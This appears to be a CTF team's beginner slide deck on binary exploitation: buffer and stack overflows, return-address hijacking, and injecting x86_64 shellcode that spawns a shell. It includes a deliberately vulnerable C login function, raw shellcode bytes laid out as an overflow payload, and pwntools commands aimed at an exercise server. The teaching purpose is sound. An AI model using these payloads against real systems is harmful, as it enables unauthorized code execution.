PWNING 101 - p.1 spritzers - CTF team - - PowerPoint PPT Presentation

pwning 101 p 1
SMART_READER_LITE
LIVE PREVIEW

PWNING 101 - p.1 spritzers - CTF team - - PowerPoint PPT Presentation

PWNING 101 - p.1 spritzers - CTF team spritz.math.unipd.it/spritzers.html Disclaimer All information presented here has the only purpose to teach how vulnerabilities work. Use them to win CTFs and to build secure systems. Do not hack your


slide-1
SLIDE 1

PWNING 101 - p.1

spritzers - CTF team spritz.math.unipd.it/spritzers.html

slide-2
SLIDE 2

All information presented here has the only purpose to teach how vulnerabilities work. Use them to win CTFs and to build secure systems. Do not hack your neighbor’s fancy IoT fridge.

Disclaimer

slide-3
SLIDE 3

Pwning in CTFs

In pwn challenges you have to exploit a remote service. You typically want to get a shell and cat flag. Most of the time, it’s a memory corruption vulnerability.

slide-4
SLIDE 4

Modifying a process’ memory in a way the programmer (or compiler) didn’t intend. If we control the memory, we control the process.

What’s memory corruption?

slide-5
SLIDE 5

Memory corruption in the wild

  • Malware

○ Morris (1988!), CodeRed, Blaster, Sasser, Conficker, ... ○ More recently, StuxNet and WannaCry

  • Remote services and user applications

○ Exposed to untrusted data

  • Unlocking devices

○ Android roots, iOS jailbreaks, gaming consoles (I started here!)

slide-6
SLIDE 6

Memory corruption vulnerabilities

  • Buffer overflows
  • Format strings
  • Use of uninitialized memory
  • Dangling pointers (e.g., use-after-free)
  • Type confusion
  • Heap metadata corruption

… and many more

slide-7
SLIDE 7

Memory corruption attacks

Two main subclasses:

  • Non-Control-Data Attacks manipulate the application’s

state and data

  • Control-Flow Attacks manipulate the execution flow
slide-8
SLIDE 8

Exploitation

Finding a vulnerability is just the first step. Uncontrolled memory corruption typically results in a crash (e.g., SIGSEGV). We need to channel the vulnerability into whatever we want to do.

slide-9
SLIDE 9

Exploitation

First, we set things up for the upcoming corruption. Then, we trigger it and watch the dominoes fall down. The tool that performs this is an exploit.

slide-10
SLIDE 10

What’s memory?

Memory is a flat sequence of bytes. That’s it. Each byte is identified by an address. Via memory protection, areas of memory can be marked as readable, writable, executable.

01 cd 4b 3f 96 a1 39 bb 22 33 cd e0 +0 +1 +2 +3 +0 +4 +8

slide-11
SLIDE 11

Interpretations of memory

Types do not exist in memory. They are just abstractions that define how a certain range of bytes is interpreted. Example: integers (and pointers) are little-endian on x86. 78 56 34 12 <-> 0x12345678 Example: C arrays are a contiguous sequence of elements.

slide-12
SLIDE 12

A process’ memory

Stack Heap Main executable Libraries

0x0000...

.text .rodata .got .data .bss .plt

Code Zero-init’ed data Read/write data Read-only data Imports stuff Imports stuff

slide-13
SLIDE 13
slide-14
SLIDE 14

Buffer overflows

Some languages (such as C/C++) do not check array bounds. If the programmer doesn’t perform those checks, he might write data beyond the buffer’s boundaries. This is bad. Like, really bad, man.

slide-15
SLIDE 15

Buffer overflows

79 6f 75 74 75 2e 62 65 2f 67 36 74 75 65 70 6d 55 6d 4a 67 00 00 00 00 ... ... 00 00 00 00 63 00 00 00 ca fe ba be 00 13 37 00 00 00 00 aa 00 bb 42 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Buffer This program copies the user’s input to a fixed size 32-byte buffer.

slide-16
SLIDE 16

Buffer overflows

79 6f 75 74 75 2e 62 65 2f 67 36 74 75 65 70 6d 55 6d 4a 67 00 00 00 00 ... ... 00 00 00 00 63 00 00 00 ca fe ba be 00 13 37 00 00 00 00 aa 00 bb 42 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Buffer

79 6f 75 74 75 2e 62 65 2f 67 36 74 75 65 70 6d 55 6d 4a 67 00 00 00 00 ... ... 00 00 00 00 63 00 00 00 ca fe ba be 00 13 37 00 00 00 00 aa 00 bb 42 42 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00

Input: 20 ‘A’ This program copies the user’s input to a fixed size 32-byte buffer.

slide-17
SLIDE 17

Buffer overflows

79 6f 75 74 75 2e 62 65 2f 67 36 74 75 65 70 6d 55 6d 4a 67 00 00 00 00 ... ... 00 00 00 00 63 00 00 00 ca fe ba be 00 13 37 00 00 00 00 aa 00 bb 42 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Buffer

41 41 41 41 41 41 41 41 2f 67 36 74 75 65 70 6d 55 6d 4a 67 00 00 00 00 ... ... 00 00 00 00 63 00 00 00 ca fe ba be 00 13 37 00 00 00 00 aa 00 bb 42 42 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41

Input: 40 ‘A’ This program copies the user’s input to a fixed size 32-byte buffer.

slide-18
SLIDE 18

Buffer overflows

79 6f 75 74 75 2e 62 65 2f 67 36 74 75 65 70 6d 55 6d 4a 67 00 00 00 00 ... ... 00 00 00 00 63 00 00 00 ca fe ba be 00 13 37 00 00 00 00 aa 00 bb 42 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Buffer

41 41 41 41 41 41 41 41 2f 67 36 74 75 65 70 6d 55 6d 4a 67 00 00 00 00 ... ... 00 00 00 00 63 00 00 00 ca fe ba be 00 13 37 00 00 00 00 aa 00 bb 42 42 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41

Input: 40 ‘A’ This program copies the user’s input to a fixed size 32-byte buffer. Overflow

slide-19
SLIDE 19

Exercise platform

http://spritzctf.pythonanywhere.com/

slide-20
SLIDE 20

Exercise 1 - Auth Overflow

Inspired from Jon Erickson’s “Hacking: The Art of Exploitation”

int check_authentication() { int auth_flag = 0; char password_buffer[16]; printf(“Enter password”); scanf(“%s”, password_buffer); /* password_buffer ok? => auth_flag = 1 */ return auth_flag; }

slide-21
SLIDE 21

Exercise 1 - Auth Overflow

Inspired from Jon Erickson’s “Hacking: The Art of Exploitation”

int check_authentication() { int auth_flag = 0; char password_buffer[16]; printf(“Enter password”); scanf(“%s”, password_buffer); /* password_buffer ok? => auth_flag = 1 */ return auth_flag; }

slide-22
SLIDE 22

Exercise 1 - The overflow

?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00

Buffer Flag = 0

?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? +0x00 +0x10 +0x1c

slide-23
SLIDE 23

Exercise 1 - The overflow

?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00

Buffer Flag = 0

?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? +0x00 +0x10 +0x1c

Input: 29 ‘A’

41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 00 00

Buffer Flag = 65

41 41 41 41 41 41 41 41 41 41 41 41 +0x00 +0x10 +0x1c

slide-24
SLIDE 24

Exercise 1 - The overflow

?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00

Buffer Flag = 0

?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? +0x00 +0x10 +0x1c

Input: 29 ‘A’

41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 00 00

Buffer Flag = 65

41 41 41 41 41 41 41 41 41 41 41 41 +0x00 +0x10 +0x1c

check_authentication will now return 65.

slide-25
SLIDE 25

Exercise 1 - The check

if (check_authentication()) /* access granted */ In C, anything != 0 is true. The check will pass and grant us access. Profit!

Returns 65

slide-26
SLIDE 26

Pwntools installation

Install python and pip:

  • [sudo] apt install python-pip
  • [sudo] dnf install python-pip
  • [sudo] pacman -S python2-pip

Install pwntools: pip2 install --user pwntools

slide-27
SLIDE 27

Stack overflows

The stack contains information that keeps track of the program’s control flow. Overflowing a buffer located on the stack could allows us to hijack the flow to wherever we want.

Must read: Aleph One, Smashing the stack for fun and profit, Phrack (1996)

slide-28
SLIDE 28

The x86 stack

Return address Saved BP Locals

SP BP Frame for foo

void bar() { char baz[32]; /* … */ } void foo() { int abc, def; bar(); } int main() { foo(); }

Lower addresses Higher addresses

slide-29
SLIDE 29

The x86 stack

Return address Saved BP Locals Return address

SP BP Frame for foo

void bar() { char baz[32]; /* … */ } void foo() { int abc, def; bar(); } int main() { foo(); }

Lower addresses Higher addresses

slide-30
SLIDE 30

The x86 stack

Return address Saved BP Locals Return address Saved BP

SP, BP Frame for foo

void bar() { char baz[32]; /* … */ } void foo() { int abc, def; bar(); } int main() { foo(); }

Lower addresses Higher addresses

slide-31
SLIDE 31

The x86 stack

Return address Saved BP Locals Return address Saved BP Locals

SP BP Frame for foo Frame for bar

void bar() { char baz[32]; /* … */ } void foo() { int abc, def; bar(); } int main() { foo(); }

Lower addresses Higher addresses

slide-32
SLIDE 32

The x86 stack

Return address Saved BP Locals Return address Saved BP

SP, BP Frame for foo

void bar() { char baz[32]; /* … */ } void foo() { int abc, def; bar(); } int main() { foo(); }

Lower addresses Higher addresses

slide-33
SLIDE 33

The x86 stack

Return address Saved BP Locals Return address

SP BP Frame for foo

void bar() { char baz[32]; /* … */ } void foo() { int abc, def; bar(); } int main() { foo(); }

Lower addresses Higher addresses

slide-34
SLIDE 34

The x86 stack

Return address Saved BP Locals

SP BP Frame for foo

void bar() { char baz[32]; /* … */ } void foo() { int abc, def; bar(); } int main() { foo(); }

Lower addresses Higher addresses

slide-35
SLIDE 35

Stack overflows

c3 90 8b 00 ff 7f 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? d5 e0 7b 30 b2 55 00 00 Buffer Retaddr

  • Sv. BP

Returns to 0x55b2307be0d5

This program copies the user’s input to a fixed size 32-byte buffer.

slide-36
SLIDE 36

Stack overflows

c3 90 8b 00 ff 7f 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? d5 e0 7b 30 b2 55 00 00 Buffer Retaddr

  • Sv. BP

Returns to 0x55b2307be0d5

Input: 32 ‘A’

c3 90 8b 00 ff 7f 00 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 d5 e0 7b 30 b2 55 00 00 Returns to 0x55b2307be0d5

This program copies the user’s input to a fixed size 32-byte buffer.

slide-37
SLIDE 37

Stack overflows

c3 90 8b 00 ff 7f 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? d5 e0 7b 30 b2 55 00 00 Buffer Retaddr

  • Sv. BP

Returns to 0x55b2307be0d5

Input: 40 ‘A’

41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 d5 e0 7b 30 b2 55 00 00 Returns to 0x55b2307be0d5

This program copies the user’s input to a fixed size 32-byte buffer.

slide-38
SLIDE 38

Stack overflows

c3 90 8b 00 ff 7f 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? d5 e0 7b 30 b2 55 00 00 Buffer Retaddr

  • Sv. BP

Returns to 0x55b2307be0d5

Input: 46 ‘A’

41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 00 Returns to 0x414141414141

This program copies the user’s input to a fixed size 32-byte buffer.

IP control achieved!

slide-39
SLIDE 39

Exercise 2 - Remote Shell

Exploit plan:

?

slide-40
SLIDE 40

Exercise 2 - Remote Shell

Exploit plan:

  • 1. Find the offset between buffer and retaddr
  • 2. Overwrite retaddr with spawn_shell
  • 3. Make main return
  • 4. ???
  • 5. Profit!
slide-41
SLIDE 41

Shellcode

Sometimes there’s no “magic” function we can return to. So let’s inject our own code into the process. This code is called shellcode because it usually opens a shell.

slide-42
SLIDE 42

Shellcode

c0 90 8b 00 ff 7f 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? d5 e0 7b 30 b2 55 00 00 Buffer Retaddr

  • Sv. BP

Returns to 0x55b2307be0d5

The program copies the user’s input to a fixed size 32-byte stack buffer.

0x7fff008b9070

slide-43
SLIDE 43

Shellcode

c0 90 8b 00 ff 7f 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? d5 e0 7b 30 b2 55 00 00 Buffer Retaddr

  • Sv. BP

Returns to 0x55b2307be0d5 41 41 41 41 41 41 41 41 31 f6 48 bb 2f 62 69 6e 2f 2f 73 68 56 53 54 5f 6a 3b 58 31 d2 0f 05 41 41 41 41 41 41 41 41 41 70 90 8b 00 ff 7f 00 00

The program copies the user’s input to a fixed size 32-byte stack buffer.

0x7fff008b9070 0x7fff008b9070

slide-44
SLIDE 44

Shellcode

c0 90 8b 00 ff 7f 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? d5 e0 7b 30 b2 55 00 00 Buffer Retaddr

  • Sv. BP

Returns to 0x55b2307be0d5 41 41 41 41 41 41 41 41 31 f6 48 bb 2f 62 69 6e 2f 2f 73 68 56 53 54 5f 6a 3b 58 31 d2 0f 05 41 41 41 41 41 41 41 41 41 70 90 8b 00 ff 7f 00 00

The program copies the user’s input to a fixed size 32-byte stack buffer.

0x7fff008b9070 0x7fff008b9070 Shellcode Padding Shellcode address

slide-45
SLIDE 45

Shellcode

c0 90 8b 00 ff 7f 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? d5 e0 7b 30 b2 55 00 00 Buffer Retaddr

  • Sv. BP

Returns to 0x55b2307be0d5 41 41 41 41 41 41 41 41 31 f6 48 bb 2f 62 69 6e 2f 2f 73 68 56 53 54 5f 6a 3b 58 31 d2 0f 05 41 41 41 41 41 41 41 41 41 70 90 8b 00 ff 7f 00 00 Returns to 0x7fff008b9070

The program copies the user’s input to a fixed size 32-byte stack buffer.

0x7fff008b9070 0x7fff008b9070 Shellcode Padding Shellcode address

slide-46
SLIDE 46

Exercise 3 - Useless

buffer @ bp-0x70 String operations: ‘A’*6 + ‘BC’ == ‘AAAAAABC’ String length: len(‘This is a string’) Numeric string to integer: int(‘12345’) Import pwntools: from pwn import * Configure pwntools: context(os=’linux’, arch=’x86_64’) Process: p = process(‘./useless’) Remote connection: p = remote(‘207.154.238.179’, 8193) Line I/O: p.recvline() / p.sendline(‘Hello!’) Interactive mode: p.interactive() Assemble shellcode: asm(shellcraft.sh())

slide-47
SLIDE 47

Mitigations

  • Stack Canaries

○ Secret value overwritten by overflow ○ Bypass: infoleak, O(N) bruteforce (forkserver)

  • Address Space Layout Randomization (ASLR)

○ Can’t jump if I don’t know where the code is ○ Bypass: infoleak, O(N) bruteforce (forkserver)

  • Write XOR Execute (W⊕X, NX, DEP)

○ Prevent code injection ○ Bypass: code reuse (e.g., ROP)

slide-48
SLIDE 48

What did we learn?

Always check your bounds! As a general principle, if your application has a memory corruption vulnerability, most of the time a skilled and determined attacker will be able to exploit it.

slide-49
SLIDE 49

Stuff to check out

  • OverTheWire Vortex (http://overthewire.org/wargames/vortex/)
  • sploitF-U-N

(https://sploitfun.wordpress.com/2015/06/26/linux-x86-exploit-developm ent-tutorial-series/)

slide-50
SLIDE 50

?